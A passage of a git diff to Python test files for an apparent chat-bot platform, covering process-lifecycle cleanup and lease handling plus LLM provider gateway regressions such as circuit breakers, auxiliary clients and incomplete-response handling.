+++ b/tests/test_process_read_leases.py @@ -43,7 +43,10 @@ async def remote_exec(target, command, timeout): "ok": True, "status": state.get("status", "exited"), "output": base64.b64encode(data).decode(), "cursor": len(data), "size": len(data), "emitted": len(data), "start": 0, - "exit": {"exit_code": 0, "finished_at": time.time()}, + "exit": { + "exit_code": 0, "finished_at": time.time(), + "empty": True, "containment": "owned_descendants", + }, }) registry = ProcessRegistry(remote_exec=remote_exec, retention_dir=tmp_path / "evidence") diff --git a/tests/test_process_retention_error_paths.py b/tests/test_process_retention_error_paths.py index 2d5aa15a4..a0acf6347 100644 --- a/tests/test_process_retention_error_paths.py +++ b/tests/test_process_retention_error_paths.py @@ -113,15 +113,20 @@ async def test_stdin_drain_failure_is_not_success(evidence): assert info.status == "running" -async def test_kill_failure_preserves_running_state(evidence, monkeypatch): +async def test_kill_failure_preserves_unsettled_authority(evidence, monkeypatch): reg, info = evidence info.status = "running" - info.process = SimpleNamespace(returncode=None) + info.process = SimpleNamespace(pid=info.pid, returncode=None) terminate = AsyncMock(side_effect=OSError("cannot verify termination")) monkeypatch.setattr("src.tools.ssh.terminate_process_tree", terminate) - assert "Failed to kill" in await reg.kill(info.pid) + proof = AsyncMock(return_value=False) + monkeypatch.setattr(reg, "_kill_group_until_gone", proof) + result = await reg.kill(info.pid) + assert "Failed to kill" in result and "outcome_unknown=true" in result terminate.assert_awaited_once_with(info.process, grace=5.0) - assert info.status == "running" and info.exit_code is None + proof.assert_awaited_once_with(info) + assert info.status == "unknown" and info.exit_code is None + assert not info.session_confirmed_empty async def test_remote_start_requires_lease_and_spawn_failure_has_no_record(monkeypatch): @@ -177,7 +182,10 @@ async def test_remote_reply_validates_newly_observed_expiry_and_offset(expired): remote = AsyncMock(return_value=(0, json.dumps({ "ok": True, "output": base64.b64encode(b"abc").decode(), "size": 3, "cursor": 3, "emitted": 3, "start": 0, "status": "exited", - "exit": {"exit_code": 0, "finished_at": finished}, + "exit": { + "exit_code": 0, "finished_at": finished, + "empty": True, "containment": "owned_descendants", + }, }))) reg = pm.ProcessRegistry(remote_exec=remote) lease = _Lease() @@ -209,6 +217,7 @@ async def test_failed_remote_expiry_still_revokes_local_evidence(tmp_path, caplo def test_cleanup_expires_old_generation_without_removing_reused_pid(evidence): reg, old = evidence + old.session_confirmed_empty = True old.finished_at = time.time() - pm.OUTPUT_RETENTION_SECONDS - 1 current = pm.ProcessInfo(old.pid, "new job", "localhost", time.time()) reg._processes[old.pid] = current @@ -242,7 +251,7 @@ async def test_watcher_missing_process_and_failed_wait_publish_failure(evidence, assert info.capture_error == "process exit could not be confirmed" -async def test_failed_leader_wait_retires_bound_host_lease(evidence, monkeypatch): +async def test_failed_leader_wait_retains_bound_host_lease(evidence, monkeypatch): reg, info = evidence lease = Mock() info.status = "running" @@ -252,8 +261,8 @@ async def test_failed_leader_wait_retires_bound_host_lease(evidence, monkeypatch monkeypatch.setattr(pm, "_wait_leader_exit", AsyncMock(side_effect=TimeoutError("unconfirmed"))) monkeypatch.setattr(pm, "_terminate_session_until_empty", AsyncMock(return_value=False)) await reg._watch_exit(info) - lease.release.assert_called_once_with() - assert info.host_lease is None + lease.release.assert_not_called() + assert info.host_lease is lease assert info.status == "unknown" assert info.finished_at is not None diff --git a/tests/test_process_retention_security.py b/tests/test_process_retention_security.py index c095731d0..f1fe90b79 100644 --- a/tests/test_process_retention_security.py +++ b/tests/test_process_retention_security.py @@ -20,8 +20,7 @@ ) from src.tools.runtime_delivery import execution_delivery_scope from tests.test_executor_output_retention import executor -from tests.test_process_output_retention import local_job, page -from tests.test_remote_process_streaming import _remote_job +from tests.test_process_output_retention import _remote_job, local_job, page from tests.test_remote_processes import _Lease @@ -69,10 +68,12 @@ async def test_real_executor_channel_restart_repoint_and_legacy_fence(tmp_path): async def test_real_web_process_scope_stable_and_live_revocation(tmp_path): + from src.config.schema import WebConfig + ex = executor(tmp_path) identity = SimpleNamespace(allowed_tools=[], allowed_hosts=None) manager = SimpleNamespace(resolve=lambda raw: identity) - bot = SimpleNamespace(api_token_manager=manager) + bot = SimpleNamespace(api_token_manager=manager, config=SimpleNamespace(web=WebConfig())) request = SimpleNamespace(path="/api/execute", headers={ "Authorization": "Bearer fixture-process-scope"}) with web_output_scope(bot, request), execution_delivery_scope("owner", "ephemeral-a"): @@ -228,21 +229,31 @@ async def remote_exec(*args): assert cleanup.await_count == (0 if failure == "concurrency" else 1) -async def test_remote_terminal_snapshot_releases_unused_reservation_and_expiry(tmp_path): +async def test_remote_group_only_snapshot_retires_execution_before_evidence_expiry(tmp_path): from src.tools.process_manager import OUTPUT_RETENTION_SECONDS - async with _remote_job(tmp_path, "print('small')") as (reg, info, _, proc): + async with _remote_job(tmp_path, "print('small')") as (reg, info, lease, proc): info.reserved_bytes = OUTPUT_CAPTURE_BYTES reg._retained_generations[info.generation] = info assert reg._spool_quota_remaining() == OUTPUT_GLOBAL_QUOTA - OUTPUT_CAPTURE_BYTES await proc.wait() - await reg.poll(info.pid) + result = await reg.poll(info.pid) + assert "status=completed exit_code=0" in result and "outcome_unknown=true" not in result + assert info.containment == "process_group_only" assert info.reserved_bytes == 0 and info.retained_bytes == 6 assert reg._spool_quota_remaining() == OUTPUT_GLOBAL_QUOTA - 6 + assert info.remote_lease is None and lease.release_count == 1 + assert info.session_confirmed_empty and info.finished_at is not None info.finished_at = time.time() - OUTPUT_RETENTION_SECONDS - 1 await reg._expire_output_at_deadline(info) assert info.output_revoked and info.output_lease is None + # Execution settled within its stated group-only scope. The evidence + # lifecycle still releases capture quota only when retention expires. assert reg._spool_quota_remaining() == OUTPUT_GLOBAL_QUOTA + assert info.reserved_bytes == 0 + assert "revoked" in await reg.poll(info.pid, cursor=info.generation + ":0") + assert info.remote_lease is None and lease.release_count == 1 + assert info.session_confirmed_empty async def test_poll_lock_and_wait_recheck_before_spool_read(tmp_path): diff --git a/tests/test_process_review_regressions.py b/tests/test_process_review_regressions.py index 01bae81d5..8b200cdc0 100644 --- a/tests/test_process_review_regressions.py +++ b/tests/test_process_review_regressions.py @@ -12,7 +12,8 @@ import pytest from src.tools import process_manager as pm -from tests.test_remote_process_streaming import _Lease, _remote_job +from tests.test_process_output_retention import _remote_job +from tests.test_remote_process_streaming import _Lease @pytest.fixture(autouse=True) @@ -33,7 +34,9 @@ async def real_job(tmp_path, producer, remote): yield reg, info, None finally: if info.status == "running": - await reg.kill(info.pid) + # Only release this disposable producer's own stdin wait; + # fixture failure must not run the production kill path. + await reg.write(info.pid, "ack\n") for task in (info._reader_task, info._exit_task): if task is not None: await asyncio.wait_for(asyncio.shield(task), 15) @@ -101,6 +104,11 @@ async def test_overflow_newest_lines_survive_running_ack_and_exit( terminal = await reg.poll(info.pid, wait_seconds=10) display, meta = split_preview(terminal) assert "status=completed exit_code=0" in terminal + if remote: + assert "outcome_unknown=true" not in terminal + assert info.session_confirmed_empty and info.remote_lease is None + assert meta["containment"] == "process_group_only" + assert info.finished_at is not None assert "NEWEST-LINE-SENTINEL" in display and "ACK-TERMINAL-SENTINEL" in display assert "tail-fixture-sensitive" not in terminal and "PARTIAL-LINE" not in display assert meta["not_retained_bytes"] > 0 and meta["capture_limit_loss_bytes"] > 0 @@ -144,6 +152,9 @@ async def test_finalized_spool_pages_and_previews_never_rescrub(tmp_path, monkey assert json.loads((tmp_path / "exit.json").read_text())["output_masked"] is True await reg.poll(info.pid, wait_seconds=10) assert info.status == "completed" + if remote: + assert info.session_confirmed_empty and info.remote_lease is None + assert info.containment == "process_group_only" and info.finished_at is not None if not remote: assert info.output_masked is True diff --git a/tests/test_process_tail_correctness.py b/tests/test_process_tail_correctness.py index 13d8ff42d..ea4bfac21 100644 --- a/tests/test_process_tail_correctness.py +++ b/tests/test_process_tail_correctness.py @@ -39,8 +39,11 @@ async def job(tmp_path, producer, remote, *, wait_for_exit=True): if wait_for_exit: await asyncio.wait_for(supervisor.wait(), 15) yield ex, reg, info + # Remote settlement retires authority within its explicit + # group-only scope, without claiming escaped descendants. assert info.remote_lease is None and info.output_lease is None - assert lease.release_count == 1 + assert lease.release_count == 1 and info.session_confirmed_empty + assert info.containment == "process_group_only" else: result = await ex.execute("manage_process", { "action": "start", "host": "testhost", diff --git a/tests/test_process_tree_reaping.py b/tests/test_process_tree_reaping.py index 9a02c6c71..16e39b91a 100644 --- a/tests/test_process_tree_reaping.py +++ b/tests/test_process_tree_reaping.py @@ -204,7 +204,10 @@ async def test_kill_reports_and_reaps_group(self, tmp_path): finally: _best_effort_kill(grandchild) - async def test_shutdown_awaits_inflight_reaper_not_cancels(self): + @pytest.mark.parametrize("cleanup_proven", [True, False]) + async def test_shutdown_awaits_inflight_reaper_not_cancels( + self, tmp_path, monkeypatch, cleanup_proven + ): # A leader that exited on its own can leave its reader task mid group-reap # (TERM grace + SIGKILL escalation) with the record already terminal. # shutdown() must AWAIT that reaper — the old code skipped the terminal @@ -212,12 +215,37 @@ async def test_shutdown_awaits_inflight_reaper_not_cancels(self): # terminate_process_tree, stranding a TERM-immune descendant across the # in-place exec. Model the reaper as a task that finishes its cleanup # ONLY if awaited, not cancelled. (PR #227 round-5 blocker.) - registry = ProcessRegistry() + from src.tools.local_supervisor import SupervisedShell + from src.tools.process_manager import ProcessCleanupError + + registry = ProcessRegistry(workspace=str(tmp_path), retention_dir=tmp_path / "evidence") + registry._schedule_output_expiry = lambda info: None reaped = asyncio.Event() + cleanup_requested = asyncio.Event() + cleanup_observations = [] + + class InertReapingShell(SupervisedShell): + """No native worker; cleanup remains unproven until the reaper ends.""" + + def __init__(self): + self.pid = 4242 + self.returncode = 0 + + async def terminate_tree(self, grace=3.0): + cleanup_observations.append(reaped.is_set()) + cleanup_requested.set() + return reaped.is_set() and cleanup_proven + + def forbidden(*args, **kwargs): + raise AssertionError("native signalling is forbidden for the inert reaper") + + monkeypatch.setattr(os, "kill", forbidden) + monkeypatch.setattr(os, "killpg", forbidden) async def fake_reaper(): - await asyncio.sleep(0.2) # the TERM grace + SIGKILL escalation - reaped.set() # the descendant is actually killed here + await cleanup_requested.wait() + await asyncio.sleep(0) # yield while the reaper is in flight + reaped.set() # inert transport cleanup can now supply its verdict info = ProcessInfo( pid=4242, @@ -225,14 +253,24 @@ async def fake_reaper(): host="localhost", start_time=time.time(), status="completed", # leader already terminal; reaper still running + process=InertReapingShell(), ) info._reader_task = asyncio.create_task(fake_reaper()) registry._processes[4242] = info - await registry.shutdown() + if cleanup_proven: + await registry.shutdown() + else: + # Finishing a reaper is NOT sufficient evidence of cleanup. Keep + # the shutdown veto when the supervisor's final verdict is false. + with pytest.raises(ProcessCleanupError, match="4242"): + await registry.shutdown() assert reaped.is_set(), "shutdown cancelled the in-flight reaper instead of awaiting it" assert info._reader_task.done() and not info._reader_task.cancelled() + assert cleanup_observations[0] is False + assert cleanup_observations[-1] is True + assert info.session_confirmed_empty is cleanup_proven async def test_leaderless_group_descendant_reaped_on_leader_exit(self, tmp_path): # The shell exits naturally while a REDIRECTED background descendant @@ -419,13 +457,14 @@ async def test_compliant_leader_with_term_immune_descendant(self, tmp_path): _best_effort_kill(stubborn) async def test_child_vanishing_before_getpgid_is_tolerated(self, monkeypatch): - from unittest.mock import AsyncMock + from unittest.mock import AsyncMock, Mock monkeypatch.setattr(os, "getpgid", lambda pid: (_ for _ in ()).throw(ProcessLookupError())) proc = AsyncMock() proc.returncode = None proc.pid = 424242 proc.wait = AsyncMock(return_value=0) + proc.send_signal = Mock() # subprocess signalling is synchronous await terminate_process_tree(proc, grace=0.1) # no signal sent, no raise async def test_group_signal_permission_error_is_tolerated(self, monkeypatch): @@ -442,7 +481,7 @@ async def test_group_signal_permission_error_is_tolerated(self, monkeypatch): await terminate_process_tree(proc, grace=0.1) # swallowed, no raise async def test_unkillable_child_logs_and_returns(self, monkeypatch): - from unittest.mock import AsyncMock + from unittest.mock import AsyncMock, Mock async def hang(): await asyncio.sleep(999) @@ -452,5 +491,6 @@ async def hang(): proc.returncode = None proc.pid = 424242 proc.wait = hang + proc.send_signal = Mock() # no native signal and no unawaited coroutine # both bounded waits expire; the helper must give up without raising await terminate_process_tree(proc, grace=0.05) diff --git a/tests/test_process_zero_offset.py b/tests/test_process_zero_offset.py index 7caa5110b..1d52af72c 100644 --- a/tests/test_process_zero_offset.py +++ b/tests/test_process_zero_offset.py @@ -65,5 +65,6 @@ async def assert_status(expected_status, sentinel): await assert_status("running", "RUNNING-END") assert "Wrote" in await reg.write(info.pid, "finish\n") terminal = await reg.poll(info.pid, wait_seconds=10) - assert preview(terminal)[1]["status"] == "completed" - await assert_status("completed", end) + terminal_status = "completed" + assert preview(terminal)[1]["status"] == terminal_status + await assert_status(terminal_status, end) diff --git a/tests/test_provider_campaign_regressions.py b/tests/test_provider_campaign_regressions.py new file mode 100644 index 000000000..39ac35802 --- /dev/null +++ b/tests/test_provider_campaign_regressions.py @@ -0,0 +1,550 @@ +"""Real provider/gateway settlement and reload regressions for v4.10.0.""" + +import asyncio +import json +from types import SimpleNamespace +from unittest.mock import AsyncMock, MagicMock + +import pytest + +from src.config.schema import Config, OpenRouterRoutingConfig +from src.discord.llm_gateway import LLMGateway +from src.discord.tool_loop import ToolLoopRunner +from src.llm.auxiliary import AuxiliaryLLMClient +from src.llm.circuit_breaker import CircuitBreaker, CircuitOpenError +from src.llm.client_lifecycle import ClientLifecycle +from src.llm.errors import ( + LLMContextLengthError, + LLMIncompleteResponseError, + LLMRequestError, + LLMTransportError, +) +from src.llm.model_breaker import ModelCapacityBreaker +from src.llm.ollama import OllamaClient +from src.llm.openai_codex import CodexChatClient +from src.llm.openai_compatible import OpenAICompatibleClient +from src.llm.openrouter import conservative_profile +from src.llm.recovery import RecoveryPolicy, generate_with_recovery +from src.web.api._agent_display import agent_display_policy + + +def config(**kwargs): + return Config(discord={"token": "fixture"}, **kwargs) + + +def gateway(config, **kwargs): + defaults = dict( + codex_client=None, + ollama_client=None, + kimi_client=None, + subsystem_guard=None, + auxiliary_llm_client=None, + cost_tracker=None, + ) + return LLMGateway( + get_config=lambda: config, + sessions=MagicMock(), + reflector=MagicMock(), + **(defaults | kwargs), + ) + + +class Response: + status = 200 + + def __init__(self, payload, status=200): + self.payload = payload + self.status = status + + async def __aenter__(self): + return self + + async def __aexit__(self, *_): + pass + + async def json(self): + return self.payload + + async def text(self): + return json.dumps(self.payload) + + +def test_keyword_named_parameters_survive_kimi_sanitization(): + from src.tools.defs.integrations_email import TOOLS_SECTION as TOOLS + + client = OpenAICompatibleClient("fixture", model="kimi", tool_quirks={"sanitize_schema": True}) + schema = { + "type": "object", + "title": "annotation", + "additionalProperties": False, + "properties": { + name: {"type": "string", "title": "annotation"} for name in ("format", "title", "$ref") + }, + "required": ["format", "title", "$ref"], + } + cleaned = client._sanitize_schema(schema) + assert set(cleaned["properties"]) == set(schema["properties"]) + assert "title" not in cleaned + assert cleaned["properties"]["title"] == {"type": "string"} + validate = next(tool for tool in TOOLS if tool["name"] == "validate_action") + converted = client._convert_tools([validate])[0]["function"]["parameters"] + assert converted["properties"]["format"] == validate["input_schema"]["properties"]["format"] + + +def test_openrouter_constraints_cover_heterogeneous_routes(): + profile = conservative_profile( + [ + { + "tag": "context", + "supports_tools": True, + "context_length": 64000, + "max_completion_tokens": 32000, + }, + { + "tag": "output", + "supports_tools": True, + "context_length": 128000, + "max_completion_tokens": 4096, + }, + ], + OpenRouterRoutingConfig(), + ) + assert profile["total_window_tokens"] == 64000 + assert profile["max_output_tokens"] == 4096 + assert profile["context_route_tag"] == "context" + assert profile["output_route_tag"] == "output" + + +def test_adaptive_cooldown_saturates_thousands_of_opens(monkeypatch): + clock = [0.0] + monkeypatch.setattr("src.llm.model_breaker.time.monotonic", lambda: clock[0]) + breaker = ModelCapacityBreaker("fixture") + breaker.record_generation_failure() + for _ in range(2000): + clock[0] += 301 + admission = breaker.acquire_attempt() + breaker.attempt_failed_capacity(admission) + assert breaker.snapshot()["cooldown_seconds"] <= 300 + assert breaker.snapshot()["consecutive_opens"] == 2001 + + +async def test_transport_breaker_reserves_one_probe_and_cancel_releases(monkeypatch): + clock = [0.0] + monkeypatch.setattr("src.llm.circuit_breaker.time.monotonic", lambda: clock[0]) + client = OllamaClient(model="fixture", max_retries=0) + client.breaker = CircuitBreaker("fixture", failure_threshold=1, recovery_timeout=10) + client.breaker.record_failure() + clock[0] = 11 + entered = asyncio.Event() + + async def session(): + entered.set() + await asyncio.Event().wait() + + client._get_session = session + probe = asyncio.create_task(client.chat([], "")) + await entered.wait() + for _ in range(50): + with pytest.raises(CircuitOpenError): + await client.chat([], "") + probe.cancel() + with pytest.raises(asyncio.CancelledError): + await probe + client.breaker.check() # cancellation did not strand ownership + client.breaker.abandon() + + +def test_probe_reservation_survives_internal_failure_backoff(monkeypatch): + clock = [0.0] + monkeypatch.setattr("src.llm.circuit_breaker.time.monotonic", lambda: clock[0]) + breaker = CircuitBreaker("fixture", failure_threshold=1, recovery_timeout=1) + breaker.record_failure() + clock[0] = 2 + breaker.check() + breaker.record_failure() + clock[0] = 100 + with pytest.raises(CircuitOpenError): + breaker.check() + breaker.abandon() + breaker.check() + breaker.record_success() + + +@pytest.mark.parametrize("provider", ["compat", "ollama"]) +async def test_canonical_model_reaches_tool_and_direct_outbound_bodies(provider): + cfg = config(llm_provider={"model": f"{provider}:chosen"}) + bodies = [] + + async def request(body): + bodies.append(body) + if provider == "ollama": + return {"message": {"content": "complete"}, "done": True, "done_reason": "stop"} + return {"choices": [{"message": {"content": "complete"}, "finish_reason": "stop"}]} + + client = ( + OllamaClient(model="default") + if provider == "ollama" + else OpenAICompatibleClient("fixture", model="default") + ) + client._request_with_retry = request + gw = gateway( + cfg, + **({"ollama_client": client} if provider == "ollama" else {"compatible_client": client}), + ) + await gw.call_with_tools(messages=[], system="", tools=[]) + assert await gw.chat([], "") == "complete" + assert [body["model"] for body in bodies] == ["chosen", "chosen"] + gw.wire_callbacks() + await gw.sessions.set_compaction_fn.call_args.args[0]([], "") + assert bodies[-1]["model"] == "chosen" + + +async def test_codex_direct_model_override_reaches_request(): + client = CodexChatClient(auth=MagicMock(), model="gpt-6-luna") + client._stream_request = AsyncMock(return_value="complete") + gw = gateway(config(llm_provider={"model": "gpt-6.1-sol"}), codex_client=client) + assert await gw.chat([], "") == "complete" + assert client._stream_request.call_args.args[0]["model"] == "gpt-6.1-sol" + + +async def test_one_token_aux_probe_accepts_length_without_relaxing_chat(): + client = OpenAICompatibleClient("fixture", model="chosen") + client._request_with_retry = AsyncMock( + return_value={ + "choices": [{"message": {"content": "p"}, "finish_reason": "length"}], + } + ) + gw = gateway(config()) + assert await gw._probe_aux(client) is None + with pytest.raises(LLMRequestError, match="truncated"): + await client.chat([], "") + + +async def test_borrowed_aux_accounting_uses_override_and_ollama_usage(): + client = OllamaClient(model="primary") + client._request_with_retry = AsyncMock( + return_value={ + "model": "cheap", + "message": {"content": "complete"}, + "done": True, + "done_reason": "stop", + "prompt_eval_count": 123, + "eval_count": 17, + } + ) + cost = MagicMock() + wrapper = AuxiliaryLLMClient( + client, client, cost, provider="ollama", model="cheap", owns_aux_client=False + ) + assert await wrapper.chat([], "", task="compaction") == "complete" + assert cost.record.call_args.kwargs["model"] == "cheap" + assert cost.record.call_args.kwargs["input_tokens"] == 123 + assert cost.record.call_args.kwargs["output_tokens"] == 17 + + +@pytest.mark.parametrize("provider", ["compat", "ollama"]) +async def test_reload_preserves_borrowed_aux_and_rebinds_cross_provider_fallback(provider): + cfg = config( + llm_provider={"model": "ollama:primary"}, + openai_codex={"auxiliary": {"enabled": True, "model": f"{provider}:cheap"}}, + ) + old_primary = OllamaClient(model="primary") + old_transport = ( + old_primary if provider == "ollama" else OpenAICompatibleClient("fixture", model="default") + ) + wrapper = AuxiliaryLLMClient( + old_transport, old_primary, provider=provider, model="cheap", owns_aux_client=False + ) + gw = gateway( + cfg, + ollama_client=old_primary, + compatible_client=old_transport if provider == "compat" else None, + auxiliary_llm_client=wrapper, + ) + new_primary = OllamaClient(model="primary") + gw.ollama_client = new_primary + gw._reconcile_auxiliary_primary() + current = gw.auxiliary_llm_client + assert current is not None + assert current.primary_client is new_primary + assert current.aux_client is (old_transport if provider == "compat" else new_primary) + assert current.model == "cheap" + old_primary.retire() + current.aux_client._request_with_retry = AsyncMock( + return_value=( + {"message": {"content": "complete"}, "done": True, "done_reason": "stop"} + if provider == "ollama" + else {"choices": [{"message": {"content": "complete"}}]} + ) + ) + assert await current.chat([], "", task="compaction") == "complete" + await asyncio.gather(*gw._aux_drains) + + +async def test_cancelled_compatible_qualification_drains_candidate(monkeypatch): + cfg = config(openai_compatible={"enabled": True, "api_key": "fixture", "model": "chosen"}) + gw = gateway(cfg) + candidate = OpenAICompatibleClient("fixture", model="chosen") + candidate.close = AsyncMock() + entered = asyncio.Event() + + async def probe(_): + entered.set() + await asyncio.Event().wait() + + monkeypatch.setattr("src.discord.llm_gateway.OpenAICompatibleClient", lambda **_: candidate) + gw._probe_openai_compatible = probe + task = asyncio.create_task(gw.reload_openai_compatible()) + await entered.wait() + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + await asyncio.gather(*gw._aux_drains) + candidate.close.assert_awaited_once() + assert candidate._generation_retired + + +async def test_logical_generation_keeps_client_through_retry_and_child_attempt(): + class Client(ClientLifecycle): + async def close(self): + pass + + client = Client() + calls = 0 + + async def attempt(): + nonlocal calls + async with client.generation_lease(): + calls += 1 + if calls == 1: + client.retire() + raise LLMTransportError("transient") + return "complete" + + assert ( + await generate_with_recovery( + attempt, + policy=RecoveryPolicy(backoff_base=0.001, backoff_cap=0.001), + generation_client=client, + cancel_event=asyncio.Event(), + ) + == "complete" + ) + assert calls == 2 + assert client._generation_inflight == 0 + + +@pytest.mark.parametrize( + "main,agent,effort", + [ + ("compat:main", "gpt-6.1-sol", "high"), + ("gpt-6.1-sol", "ollama:chosen", "N/A"), + ], +) +def test_pending_display_resolves_agent_not_main_provider(main, agent, effort): + cfg = config(llm_provider={"model": main}) + info = SimpleNamespace( + has_executed=False, model_override=agent, reasoning_effort_override="high" + ) + display = agent_display_policy(info, SimpleNamespace(config=cfg)) + assert display["display_model"] == agent.removeprefix("ollama:") + assert display["display_reasoning_effort"] == effort + + +@pytest.mark.parametrize("native", [False, True]) +async def test_partial_provider_output_is_failed_verbatim_not_retried(native): + partial = "uncut output\n" * 20000 + if native: + response = OllamaClient(model="fixture")._parse_response( + { + "message": {"content": partial}, + "done": True, + "done_reason": "length", + } + ) + else: + + async def events(): + for event in [ + {"type": "response.output_text.delta", "delta": partial}, + {"type": "response.incomplete", "response": {}}, + ]: + yield ("data: " + json.dumps(event) + "\n").encode() + + response = await CodexChatClient(auth=MagicMock(), model="gpt-6.1-sol")._read_tool_stream( + SimpleNamespace(content=events()) + ) + runner = ToolLoopRunner.__new__(ToolLoopRunner) + runner._channel_state = MagicMock() + runner._turn_recorder = SimpleNamespace(_save_turn_trajectory=AsyncMock()) + runner._clear_active = MagicMock() + st = SimpleNamespace( + _cancel=asyncio.Event(), + _ch_id="c", + _req_id="r", + _trajectory=object(), + tools_used_in_loop=[], + trace=None, + ) + kind, result = await runner._finalize_or_retry(st, response) + assert kind == "done" and result[2] is True + assert result[0] == partial + "\n\n[Provider marked this response incomplete.]" + assert runner._turn_recorder._save_turn_trajectory.call_args.kwargs["error"] == result[0] + + +async def test_ollama_direct_incomplete_retains_text_and_empty_is_not_silence(): + client = OllamaClient(model="fixture") + client._request_with_retry = AsyncMock( + return_value={"message": {"content": "partial"}, "done_reason": "length", "done": True} + ) + with pytest.raises(LLMIncompleteResponseError) as caught: + await client.chat([], "") + assert caught.value.partial_text == "partial" + with pytest.raises(LLMRequestError) as empty: + client._parse_response({"message": {"content": ""}, "done": True, "done_reason": "stop"}) + assert empty.value.code == "empty_response" + + +async def test_long_completed_native_reply_unchanged(): + client = OllamaClient(model="fixture") + text = "legitimate long answer\n" * 20000 + client._request_with_retry = AsyncMock( + return_value={"message": {"content": text}, "done": True, "done_reason": "stop"} + ) + assert await client.chat([], "") == text + assert (await client.chat_with_tools([], "", [])).text == text + + +@pytest.mark.parametrize("lane", ["boot", "reload"]) +async def test_production_deepseek_clients_classify_context_overflow(lane, tmp_path, monkeypatch): + cfg = config( + openai_compatible={ + "enabled": True, + "api_key": "fixture", + "preset": "deepseek", + "model": "deepseek-chat", + "base_url": "https://api.deepseek.com/v1", + } + ) + if lane == "boot": + from tests.fakes import make_bot + + monkeypatch.chdir(tmp_path) + bot = make_bot( + config_overrides={ + "search": {"enabled": False}, + "openai_compatible": cfg.openai_compatible.model_dump(), + } + ) + client = bot.llm_gateway.compatible_client + else: + gw = gateway(cfg) + gw._probe_openai_compatible = AsyncMock(return_value=None) + assert (await gw.reload_openai_compatible())["configured"] + client = gw.compatible_client + payload = { + "error": { + "type": "invalid_request_error", + "message": "This model's maximum context length is 64000 tokens.", + } + } + session = SimpleNamespace(post=lambda *_, **__: Response(payload, 400)) + client._get_session = AsyncMock(return_value=session) + with pytest.raises(LLMContextLengthError) as caught: + await client._request_with_retry({"model": "deepseek-chat"}) + assert caught.value.context_window_tokens == 64000 + + +async def test_incomplete_agent_retains_result_and_failed_trajectory(): + from src.agents.manager import AgentInfo, _run_agent + + text = "partial long output\n" * 20000 + agent = AgentInfo( + id="fixture", + label="test", + goal="reason", + channel_id="c", + requester_id="u", + requester_name="user", + ) + callback = AsyncMock(return_value={"text": text, "tool_calls": [], "stop_reason": "incomplete"}) + saver = SimpleNamespace(save=AsyncMock()) + await _run_agent(agent, "", [], callback, AsyncMock(), trajectory_saver=saver) + assert agent.status == "failed" + assert agent.result == text + assert callback.await_count == 1 + saved = saver.save.call_args.args[0] + assert saved.result == text + assert saved.final_state == "failed" + + +async def test_incomplete_loop_preserves_full_output_and_failure(): + from src.llm.types import LLMResponse + + runner = ToolLoopRunner.__new__(ToolLoopRunner) + runner._finish_loop = AsyncMock(side_effect=lambda _, text, **kwargs: text) + text = "partial loop output\n" * 20000 + st = SimpleNamespace(_trajectory=None, final_text="", completed_naturally=False) + assert runner._record_loop_iteration(st, LLMResponse(text=text, stop_reason="incomplete"), 1) + assert not st.completed_naturally + assert ( + await runner._finalize_loop(st) == text + "\n\n[Provider marked this response incomplete.]" + ) + assert runner._finish_loop.call_args.kwargs["is_error"] is True + + +async def test_compatible_aux_uses_result_scoped_served_model_and_usage(): + client = OpenAICompatibleClient("fixture", model="primary") + client._request_with_retry = AsyncMock( + return_value={ + "model": "served-cheap", + "choices": [{"message": {"content": "complete"}}], + "usage": {"prompt_tokens": 123, "completion_tokens": 17}, + } + ) + cost = MagicMock() + wrapper = AuxiliaryLLMClient( + client, + client, + cost, + provider="compat", + model="cheap", + owns_aux_client=False, + ) + assert await wrapper.chat([], "", task="reflection") == "complete" + assert client._request_with_retry.call_args.args[0]["model"] == "cheap" + assert cost.record.call_args.kwargs["model"] == "served-cheap" + assert cost.record.call_args.kwargs["input_tokens"] == 123 + assert cost.record.call_args.kwargs["output_tokens"] == 17 + + +async def test_long_completed_codex_output_unchanged(): + text = "complete reasoning\n" * 20000 + + async def events(): + for event in [ + {"type": "response.output_text.delta", "delta": text}, + {"type": "response.completed", "response": {}}, + ]: + yield ("data: " + json.dumps(event) + "\n").encode() + + client = CodexChatClient(auth=MagicMock(), model="gpt-6.1-sol") + assert await client._read_stream(SimpleNamespace(content=events())) == text + response = await client._read_tool_stream(SimpleNamespace(content=events())) + assert response.text == text and response.stop_reason == "end_turn" + + +async def test_retirement_before_dispatch_fast_fails_without_outage_latch(): + from src.llm.errors import LLMClientRetiredError + + client = OllamaClient(model="chosen") + client.retire() + guard = MagicMock() + guard.check.return_value = None + gw = gateway( + config(llm_provider={"model": "ollama:chosen"}), ollama_client=client, subsystem_guard=guard + ) + with pytest.raises(LLMClientRetiredError): + await gw.call_with_tools(messages=[], system="", tools=[]) + guard.record_failure.assert_not_called() + assert gw.inflight_requests == 0 diff --git a/tests/test_provider_generation_lifecycle.py b/tests/test_provider_generation_lifecycle.py index 50233b160..e3e516e3c 100644 --- a/tests/test_provider_generation_lifecycle.py +++ b/tests/test_provider_generation_lifecycle.py @@ -8,7 +8,7 @@ from src.health.subsystem_guard import SubsystemGuard from src.llm.auxiliary import AuxiliaryLLMClient -from src.llm.errors import LLMRequestError, LLMTransportError +from src.llm.errors import LLMClientRetiredError, LLMRequestError from src.llm.kimi import KimiClient from src.llm.ollama import OllamaClient from src.llm.types import LLMResponse @@ -32,7 +32,11 @@ async def test_real_adapter_held_during_reload(provider, entry, cancel, monkeypa async def request(body): entered.set() await release.wait() - return {} + return ({"choices": [{"message": {"content": "completed"}, + "finish_reason": "stop"}]} + if provider == "kimi" else + {"message": {"content": "completed"}, "done": True, + "done_reason": "stop"}) monkeypatch.setattr(client, "_request_with_retry", request) monkeypatch.setattr(client, "close", AsyncMock()) @@ -46,13 +50,18 @@ async def request(body): assert gw._aux_drains await asyncio.sleep(0) client.close.assert_not_awaited() - with pytest.raises(LLMTransportError, match="retired"): + with pytest.raises(LLMClientRetiredError, match="retired"): await client.chat([], "") if cancel: task.cancel() else: release.set() - await asyncio.gather(task, return_exceptions=True) + if cancel: + with pytest.raises(asyncio.CancelledError): + await task + else: + result = await task + assert (result if entry == "chat" else result.text) == "completed" await asyncio.gather(*gw._aux_drains) client.close.assert_awaited_once() diff --git a/tests/test_rate_limiter.py b/tests/test_rate_limiter.py index 727ca31a1..4b91e9f4b 100644 --- a/tests/test_rate_limiter.py +++ b/tests/test_rate_limiter.py @@ -79,17 +79,26 @@ async def test_stale_ip_keys_evicted(self): with patch("src.health.server.time") as mock_time: mock_time.monotonic.return_value = base_time - async with TestClient(TestServer(_make_app())) as client: - # Make a request — this creates an entry in _buckets - resp 